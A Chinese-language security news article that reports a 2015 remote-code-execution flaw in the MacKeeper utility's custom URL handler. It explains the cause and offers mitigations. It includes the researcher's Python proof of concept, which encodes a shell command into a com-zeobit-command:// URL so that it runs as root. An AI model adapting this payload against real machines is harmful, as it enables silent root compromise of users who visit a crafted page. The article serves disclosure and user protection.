相信Mac用户一定都看到过Mackeeper的广告——这是一款Mac OS系统优化软件,集杀毒、加密、数据备份、系统清理和软件卸载于一身,可以认为是Mac下的360。
5月7日,Mackeeper被发现存在严重的安全漏洞,在其处理URL的代码中存在远程代码执行漏洞,当用户访问被恶意构造的网页即可触发漏洞。
安全研究人员 Braden Thomas 发现了此漏洞,当用户访问恶意构造的网站的时候,几乎不需要做什么交互,就可以以 最高系统权限Root 执行任意代码,他还公布了POC(漏洞验证程序)来演示用户用Safari访问恶意构造的网站的时候可以执行任意代码,在POC中执行的代码是卸载MacKeeper。漏洞的原因是MacKeeper使用自定义URL结构执行命令的时候没有对输入数据做安全检查。
如果MacKeeper在正常操作的时候已经提示用户输入密码,那么在以root权限执行任意代码的时候是不会提示用户输入密码的。如果用户之前没有通过认证,那么MacKeeper会提示用户输入账号密码,然而,漏洞利用正是这些用户输入的字符,所以用户可能会感觉到漏洞利用的过程。
苹果允许OSX及iOS平台上的app自定义URL的结构,这些URL可以注册系统事件,来掉起系统上的其他APP处理当前URL ,正常情况下,这种功能是用来自定义一些协议来执行指定操作(比如在iOS上点击一个电话号码的链接的时候,系统会询问用户是否要拨打电话,点击一个邮件地址的时候,系统会启动邮件APP) 苹果系统内置的APP在代码中明确告诉开发者需要对输入的自定义URL做安全检查,以防止在处理URL的时候出现异常。另外,苹果还在 官方文档中 指出对输入数据做安全检查的重要性。
由于这个0day在最新的MacKeeper(MacKeeper 3.4)中也存在,所以很多用户都受影响,在之前的一个报道中显示, 有2千万的用户都受影响 。MacKeeper 在Mac社区中是一个 受争议的应用 ,用户抱怨其频繁弹窗频繁推送广告。
如今该漏洞的POC已经公开,因此MacKeeper用户很容易到攻击。
在MacKeeper官方修复这一漏洞之前,用户可以通过一些方式来避免攻击.在OS X上,点击Safari中的一个自定义链接,会调用系统中指定的应用程序来处理对应的URL,在其他浏览器中,比如google的chrome浏览器,会提示用户是否同意打开该自有协议的链接,对于技术小白来说,尽量使用Safari以外的浏览器,这样,在执行任意代码之前,系统会弹出提示。技术大拿可以在MacKeeper的Info.plist文件中移除操作URL相关的代码。
import sys,base64 from Foundation import * RUN_CMD = "rm -rf /Applications/MacKeeper.app;pkill -9 -a MacKeeper" d = NSMutableData.data() a = NSArchiver.alloc().initForWritingWithMutableData_(d) a.encodeValueOfObjCType_at_("@",NSString.stringWithString_("NSTask")) a.encodeValueOfObjCType_at_("@",NSDictionary.dictionaryWithObjectsAndKeys_(NSString.stringWithString_("/bin/sh"),"LAUNCH_PATH",NSArray.arrayWithObjects_(NSString.stringWithString_("-c"),NSString.stringWithString_(RUN_CMD),None),"ARGUMENTS",NSString.stringWithString_("Your computer has malware that needs to be removed."),"PROMPT",None)) print "com-zeobit-command:///i/ZBAppController/performActionWithHelperTask:arguments:/"+base64.b64encode(d)
https://twitter.com/drspringfield/status/596316000385167361
MacKeeper用户应该立即更新到最新版本。默认情况下,MacKeeper会自动检查更新,当MacKeeper弹出升级提示的时候,点击ok就可以安装更新。
* 参考来源 securemac.com , Mackeeper 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)